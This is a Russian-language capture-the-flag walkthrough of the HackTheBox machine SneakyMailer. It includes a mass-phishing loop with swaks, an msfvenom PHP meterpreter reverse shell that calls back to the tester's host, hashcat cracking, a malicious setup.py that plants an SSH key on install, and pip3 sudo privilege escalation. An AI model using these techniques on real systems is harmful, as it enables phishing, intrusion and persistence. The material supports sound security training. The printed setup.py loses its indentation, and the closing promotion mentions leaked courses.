![](https://habrastorage.org/webt/g3/7v/qr/g37vqrkokjrfewezrskexmwzj7s.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.
10.10.10.197 sneakymailer.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/ks/vp/u6/ksvpu6o4fh84t9xclhlr0ahfyle.png)
Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htb
На сайте можно найти список сотрудников и соответствующие email’ы.
![](https://habrastorage.org/webt/yt/l2/gx/ytl2gx-mzlj6jwqlgpnl1mvbt-m.png)
Для получения всех адресов электронной почты советую использовать email extractor.
![](https://habrastorage.org/webt/5a/lc/wi/5alcwit34ohm2od6eri5ouoys7o.png)
А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt
![](https://habrastorage.org/webt/hh/fq/of/hhfqofoqdcgbihnxszenujww3je.png)
И видим, что какой-то пользователь переходит по нашей ссылке.
![](https://habrastorage.org/webt/pe/hp/tu/pehpturjcak8ycue6hofvd47vbo.png)
Давайте декодируем данные.
![](https://habrastorage.org/webt/ht/8i/vv/ht8ivv8krsclhf1brtudtoevzlu.png)
И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.
Entry point
В качестве клиента используем Evolution.
![](https://habrastorage.org/webt/zq/lo/xc/zqloxc695mq1rxwmngaghcqo6qc.png)
![](https://habrastorage.org/webt/wg/3u/yo/wg3uyobqb3l-buvm6pmjzst6jhc.png)
![](https://habrastorage.org/webt/1v/fk/t5/1vfkt5wfrqtd36rapynfyxfg0zg.png)
![](https://habrastorage.org/webt/4m/o9/ne/4mo9ne7vmw3kl1unheohfdiw2da.png)
Вводим пароль при подключении и видим два письма.
![](https://habrastorage.org/webt/br/vm/jm/brvmjmsafv-imvinmugyvqfhca0.png)
В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.
![](https://habrastorage.org/webt/ry/m_/nt/rym_ntqc20df8ubbbivwgl91yyw.png)
![](https://habrastorage.org/webt/-i/bl/4v/-ibl4v1brmdt9kx8rahbktydnbc.png)
Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.
![](https://habrastorage.org/webt/kb/aw/nj/kbawnj4m956afbdtgb_aonesp6o.png)
![](https://habrastorage.org/webt/18/fd/yw/18fdyw6hjl2sfdsgojvpix7u4fy.png)
Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb
![](https://habrastorage.org/webt/as/ro/jr/asrojrwdd4rckdqgh45qcoemd0q.png)
Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
![](https://habrastorage.org/webt/h9/ht/vs/h9htvsdvzl3oyiy2jxzlxl5dalu.png)
После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.
![](https://habrastorage.org/webt/hu/fd/na/hufdna2vzcn4b_rrgkl2rfvi0ho.png)
![](https://habrastorage.org/webt/v1/f_/16/v1f_161hqn6i11mfzey3q3xnfco.png)
USER
Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.
![](https://habrastorage.org/webt/pm/2q/i-/pm2qi-ftn3wl5rxivtup7ytgsgm.png)
![](https://habrastorage.org/webt/wq/po/rw/wqporwklua_p5t1cdjtwijgi8dg.png)
Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2
![](https://habrastorage.org/webt/ul/wb/av/ulwbavw-fjevehgpzyrqinlsj3i.png)
hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt
![](https://habrastorage.org/webt/pu/-j/qc/pu-jqc_swjw8dmbleg1qkkv4rnk.png)
Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb
![](https://habrastorage.org/webt/ai/za/sh/aizashjba7viik1zybtwmx2i_na.png)
На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директорию.
![](https://habrastorage.org/webt/kg/ly/wi/kglywigl74bg-tesjdlo7s-e4ei.png)
Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup
try:
f = open('/home/low/.ssh/authorized_keys', 'a')
f.write('ssh-rsa ... ')
f.close()
except:
setup(
name='ralfpack',
packages=['ralfpack'],
description='R',
version='0.1',
url='http://pypi.sneakymailer.htb:8080/ralfpack',
author='ralf',
author_email='ralf@ralf.com',
keywords=['pip','ralfpack','example'] )
Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).
![](https://habrastorage.org/webt/52/4i/jl/524ijlyfkxxmbrxn_tgblog7pb8.png)
![](https://habrastorage.org/webt/xt/tj/uf/xttjufy3kdfnqeki9undq7fu804.png)
И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.
![](https://habrastorage.org/webt/s9/9x/zt/s99xztlcas01ieitg0vissr4juy.png)
Загружаем все файлы на хост.
![](https://habrastorage.org/webt/0f/qd/7s/0fqd7skzycy_7jj1dvurrboa4xc.png)
Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist
![](https://habrastorage.org/webt/3y/1b/ge/3y1bgee2ppfqv9ci7epizsrqyuw.png)
Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack
![](https://habrastorage.org/webt/qs/kb/nm/qskbnmmtfwdlsy-qybmpvwaow6y.png)
Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.
![](https://habrastorage.org/webt/ki/6w/jp/ki6wjpd7ve2mkmqmqxllzeqqzbo.png)
ROOT
Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.
![](https://habrastorage.org/webt/tc/cl/sv/tcclsvo4rn822ermbpyknx3ux-m.png)
Обращаемся к GTFOBins и видим инструкцию получения шелла.
![](https://habrastorage.org/webt/hr/bi/v8/hrbiv8ayfrvh3sygmlkthiw_gpe.png)
Повторяем и получаем шелл от имени root.
![](https://habrastorage.org/webt/3y/kq/ad/3ykqadvmpqpzzpkwnmrher75qzy.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.